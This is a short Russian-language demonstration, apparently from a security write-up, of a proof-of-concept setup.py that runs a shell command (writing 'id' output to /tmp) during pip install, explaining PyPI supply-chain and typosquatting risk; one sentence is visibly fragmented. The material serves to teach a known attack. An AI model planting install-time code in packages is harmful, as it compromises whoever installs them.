
Демонстрирует, как вредоносный Python-пакет выполняет произвольные команды во время pip install через setup.py, подчёркивая риски цепочки поставок PyPI и тайпсквоттинга.
# setup.py - Malicious package that executes during install
from setuptools import setup
import os
# This runs on pip install
os.system('id > /tmp/pwned_by_package')
setup(
name='harmless-pkg',
version='1.0',
packages=[],
)
Пакет PyPI может включать произвольный код в свой setup.py, который выполняется во время pip install. Злоумышленник может опубликовать пакет с именем, похожим на популярное (тайпсквоттинг), и при установке полезная нагрузка выполняется с правами пользователя, что приводит к удалённому выполнению кода.
setup.py без песочницы, предоставляя пакетам полный доступ.setup.py.pip install ./harmless-pkg
cat /tmp/pwned_by_package
Команда id была выполнена.